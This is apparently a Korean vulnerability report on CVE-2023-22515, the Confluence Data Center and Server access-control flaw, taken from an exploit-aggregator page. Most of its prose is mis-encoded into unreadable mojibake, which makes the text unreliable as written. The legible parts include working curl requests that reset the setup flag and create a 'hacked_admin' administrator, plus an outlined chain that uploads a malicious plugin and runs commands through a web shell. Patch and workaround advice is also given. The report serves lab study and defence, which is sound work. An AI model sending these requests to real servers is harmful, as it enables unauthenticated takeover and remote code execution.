Share
## https://sploitus.com/exploit?id=D79FBD5D-BAFA-5B56-8FE4-EB6AFF2B9CDC
# CVE-2023-22515: Confluence Data Center & Server ๊ถํ ์์น ์ทจ์ฝ์ ๋ถ์ ๋ณด๊ณ ์
## 1. ๊ฐ์ (Overview)
CVE-2023-22515๋ Atlassian Confluence Data Center ๋ฐ Server ์ ํ์์ ๋ฐ๊ฒฌ๋ ์น๋ช
์ ์ธ(Critical) **Broken Access Control** ์ทจ์ฝ์ ์
๋๋ค. ๊ณต๊ฒฉ์๋ ์ธ์ฆ๋์ง ์์ ์ํ์์ ์๊ฒฉ์ผ๋ก ์๋ฒ์ ์ด๊ธฐ ์ค์ ๊ณผ์ ์ ์ฌํ์ฑํํ๊ณ , ์ด๋ฅผ ํตํด ์๋ก์ด ๊ด๋ฆฌ์ ๊ณ์ ์ ์์ฑํ์ฌ ์์คํ
์ ์์ ํ ์ฅ์
ํ ์ ์์ต๋๋ค.
- **CVE ID**: CVE-2023-22515
- **CVSS Score**: 10.0 (Critical)
- **์ํฅ๋ฐ๋ ๋ฒ์ **: 8.0.0 ~ 8.5.1 (์ผ๋ถ ๋ฒ์ ์ ์ธ)
## 2. ์ทจ์ฝ์ ์์ธ ๋ถ์ (Vulnerability Analysis)
### ์์ธ (Root Cause)
์ด ์ทจ์ฝ์ ์ ํต์ฌ์ **XWork2 ํ๋ ์์ํฌ**์ ํ๋ผ๋ฏธํฐ ๋ฐ์ธ๋ฉ ๋ฉ์ปค๋์ฆ๊ณผ Confluence์ **์ก์
(Action)** ์ฒ๋ฆฌ ๋ก์ง ๊ฐ์ ๋ฏธํกํ ๊ฒ์ฆ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๋ URL ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด `bootstrapStatusProvider.applicationConfig.setupComplete` ๊ฐ์ `false`๋ก ์กฐ์ํ ์ ์์ต๋๋ค. ์ด ์์ฑ์ Confluence๊ฐ ์ค์น ๋ฐ ์ค์ ์ด ์๋ฃ๋์๋์ง๋ฅผ ํ๋จํ๋ ์ค์ํ ํ๋๊ทธ์
๋๋ค.
```http
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host:
```
์ ์์ฒญ์ ๋ณด๋ด๋ฉด ์๋ฒ๋ ๋ฉ๋ชจ๋ฆฌ ์์์ ์ค์ ์ด ์๋ฃ๋์ง ์์ ์ํ๋ผ๊ณ ์ธ์ํ๊ฒ ๋ฉ๋๋ค. ์ด๋ ์๊ตฌ์ ์ธ ์ค์ ํ์ผ(`confluence.cfg.xml`)์ ๋ณ๊ฒฝํ๋ ๊ฒ์ ์๋์ง๋ง, ๋ฐํ์ ์ค์ ์ํ๋ฅผ ๋ณ๊ฒฝํ์ฌ ์ ๊ทผ ์ ์ด๋ฅผ ์ฐํํ ์ ์๊ฒ ํฉ๋๋ค.
### ๊ณต๊ฒฉ ๋ฉ์ปค๋์ฆ (Attack Mechanism)
1. **์ค์ ์ํ ์ด๊ธฐํ**: ๊ณต๊ฒฉ์๋ `/server-info.action` ๋ฑ์ ๊ณต๊ฐ๋ ์๋ํฌ์ธํธ์ ์ ๊ทผํ๋ฉด์ `bootstrapStatusProvider.applicationConfig.setupComplete=false` ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๋ฌํฉ๋๋ค.
2. **์ ๊ทผ ์ ์ด ์ฐํ**: ์๋ฒ๋ ์ด์ ์์ ์ "์ค์น ์ค"์ธ ์ํ๋ก ์ธ์ํ๋ฏ๋ก, `/setup/*` ํ์์ ๊ด๋ฆฌ์ ์ค์ ํ์ด์ง์ ๋ํ ์ ๊ทผ ์ ํ์ด ํด์ ๋ฉ๋๋ค.
3. **๊ด๋ฆฌ์ ๊ณ์ ์์ฑ**: ๊ณต๊ฒฉ์๋ `/setup/setupadministrator.action` ํ์ด์ง์ ์ ๊ทผํ์ฌ ์๋ก์ด ์์คํ
๊ด๋ฆฌ์(System Administrator) ๊ณ์ ์ ์์ฑํฉ๋๋ค.
4. **์์คํ
์ฅ์
**: ์์ฑ๋ ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ์ฌ ์์คํ
์ ๋ชจ๋ ๊ถํ์ ํ๋ํฉ๋๋ค. ์ด๋ฅผ ํตํด ์น ์ ์
๋ก๋, ๋ฐ์ดํฐ ์ ์ถ, ๋์ฌ์จ์ด ๋ฐฐํฌ ๋ฑ์ ์ถ๊ฐ์ ์ธ ์
์ฑ ํ์๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
## 3. ์ทจ์ฝ์ ์ฌํ (Reproduction)
### ํ๊ฒฝ ๊ตฌ์ถ (Environment Setup)
Docker๋ฅผ ์ฌ์ฉํ์ฌ ์ทจ์ฝํ ๋ฒ์ (8.5.1)์ Confluence Server๋ฅผ ๊ตฌ์ถํ์์ต๋๋ค.
- **Docker Image**: `atlassian/confluence-server:8.5.1`
- **Database**: PostgreSQL 14
**docker-compose.yml (์์ฝ)**:
```yaml
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB ์ค์ ...
```
### Exploit ์คํ (Exploitation)
Python ์์กด์ฑ ๋ฌธ์ ๋ฅผ ํผํ๊ธฐ ์ํด `curl`์ ์ด์ฉํ Bash ์คํฌ๋ฆฝํธ๋ก PoC๋ฅผ ์์ฑํ์ฌ ์คํํ์์ต๋๋ค.
**Exploit Flow**:
1. **Reset Setup Status**:
```bash
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
```
*๊ฒฐ๊ณผ*: HTTP 302 ๋ฆฌ๋ค์ด๋ ํธ ์๋ต์ด ๋ฐํ๋๋ฉฐ, ๋ด๋ถ์ ์ผ๋ก ์ค์ ์๋ฃ ์ํ๊ฐ ํด์ ๋จ์ ํ์ธํ์ต๋๋ค.
2. **Create Administrator**:
```bash
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
```
*๊ฒฐ๊ณผ*: ํด๋น ์์ฒญ์ ํตํด `hacked_admin` ๊ณ์ ์์ฑ์ ์๋ํ์์ผ๋ฉฐ, ์ดํ ๋ก๊ทธ์ธ ํ์ด์ง์์ ํด๋น ๊ณ์ ์ผ๋ก ์ ๊ทผ์ด ๊ฐ๋ฅํด์ง๋๋ค.
## 4. ๋์ ๋ฐฉ์ (Mitigation)
### ํจ์น ์ ์ฉ (Patch)
Atlassian์์ ์ ๊ณตํ๋ ์ต์ ๋ฒ์ ์ผ๋ก ์ฆ์ ์
๊ทธ๋ ์ด๋ํด์ผ ํฉ๋๋ค.
- **Fixed Versions**: 8.3.3, 8.4.3, 8.5.2 ์ด์
### ์์ ์ํ ์กฐ์น (Workaround)
ํจ์น๊ฐ ๋ถ๊ฐ๋ฅํ ๊ฒฝ์ฐ, `/setup/*` ์๋ํฌ์ธํธ์ ๋ํ ์ ๊ทผ์ ๋คํธ์ํฌ ์์ค(๋ก๋ ๋ฐธ๋ฐ์, WAF, ๋ฆฌ๋ฒ์ค ํ๋ก์ ๋ฑ)์์ ์ฐจ๋จํด์ผ ํฉ๋๋ค.
- **์ฐจ๋จ ๋์ URL**: `/setup/*`
## 6. ์ฌํ ๊ณต๊ฒฉ: RCE (Remote Code Execution) ์๋๋ฆฌ์ค
CVE-2023-22515๋ฅผ ํตํด ๊ด๋ฆฌ์ ๊ถํ์ ํ๋ํ ๊ณต๊ฒฉ์๋ ์์คํ
๋ช
๋ น์ ์คํ(RCE)ํ๋ ๋จ๊ณ๋ก ๋์๊ฐ ์ ์์ต๋๋ค.
### ๊ฐ์
Confluence๋ ๊ด๋ฆฌ์์๊ฒ ํ๋ฌ๊ทธ์ธ(Add-on) ์ค์น ๊ถํ์ ์ ๊ณตํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์
์ฉํ์ฌ ์น ์(Web Shell) ๊ธฐ๋ฅ์ด ํฌํจ๋ ์
์ฑ ํ๋ฌ๊ทธ์ธ์ ์
๋ก๋ํจ์ผ๋ก์จ ์๋ฒ ์ด์์ฒด์ ์ ๋ํ ์ ์ด๊ถ์ ํ๋ํ ์ ์์ต๋๋ค.
### ๊ณต๊ฒฉ ์ฒด์ธ (Attack Chain)
1. **๊ด๋ฆฌ์ ๊ณ์ ์์ฑ (CVE-2023-22515)**: ์์ ์ค๋ช
ํ ๋ฐฉ๋ฒ์ผ๋ก ์์คํ
๊ด๋ฆฌ์ ๊ถํ ํ๋
2. **์ค์ ์๋ฃ ํธ๋ฆญ**: ์๋ฒ๊ฐ 'Setup Mode'์ ๋ฌถ์ฌ ์๋ ๊ฒฝ์ฐ, `/setup/finishsetup.action` ๋ฑ์ ํตํด ๊ฐ์ ๋ก ์ค์ ์ ์๋ฃํ๊ฑฐ๋(๋ผ์ด์ ์ค ์ฐํ ํ์), ๊ธฐ์กด ์ธ์
์ ์ด์ฉํด ์ ๊ทผ ๊ฐ๋ฅํ ๊ด๋ฆฌ์ ๋ฉ๋ด๋ฅผ ํ์
3. **์
์ฑ ํ๋ฌ๊ทธ์ธ ์
๋ก๋**:
- ๋ฉ๋ด: `Confluence Administration` -> `Manage Apps` -> `Upload App`
- ํ์ผ: ์
์ฑ Java ํด๋์ค ํ์ผ์ด ํฌํจ๋ `.jar` ํ์ผ
4. **๋ช
๋ น ์คํ**:
- ์
๋ก๋๋ ํ๋ฌ๊ทธ์ธ์ด ์ ๊ณตํ๋ URL(์: `/plugins/servlet/webshell?cmd=id`)์ ์ ๊ทผํ์ฌ ์์คํ
๋ช
๋ น ์คํ
### ํ์ฌ ์ฌํ ํ๊ฒฝ์ ํ๊ณ
๋ณธ ์ค์ต ํ๊ฒฝ(Docker)์ ์ ํจํ Confluence ๋ผ์ด์ ์ค๊ฐ ์์ด ์ด๊ธฐ ์ค์ (Setup) ๋จ๊ณ๋ฅผ ์๋ฃํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ๊ด๋ฆฌ์ ๊ณ์ ์์ฑ ์์ฒญ์ ์ฑ๊ณต(302 Redirect)ํ์ผ๋, ์ดํ ํ๋ฌ๊ทธ์ธ ๋ฉ๋ด ์ ๊ทผ ๋ฐ ์ค์ RCE ์คํ์ ์ ํ๋์์ต๋๋ค. ์ค์ ์ด์ ํ๊ฒฝ์์๋ ๋ผ์ด์ ์ค๊ฐ ๋ฑ๋ก๋์ด ์์ผ๋ฏ๋ก ์ด๋ฌํ ์ ํ ์์ด ์ฆ์ RCE๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
## 7. ๊ฒฐ๋ก (Conclusion)
CVE-2023-22515๋ ์ธ์ฆ ์์ด ๊ด๋ฆฌ์ ๊ถํ์ ํ๋ํ ์ ์๋ ๋งค์ฐ ์ํํ ์ทจ์ฝ์ ์
๋๋ค. ๋จ์ํ URL ํ๋ผ๋ฏธํฐ ์กฐ์๋ง์ผ๋ก ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ์ฌ ๊ณต๊ฒฉ ๋์ด๋๊ฐ ๋งค์ฐ ๋ฎ์ต๋๋ค. ๋ฐ๋ผ์ ํด๋น ๋ฒ์ ์ ์ฌ์ฉํ๋ ์กฐ์ง์ ์ฆ๊ฐ์ ์ธ ํจ์น ๋๋ ์ํ ์กฐ์น๋ฅผ ์ ์ฉํด์ผ ํฉ๋๋ค.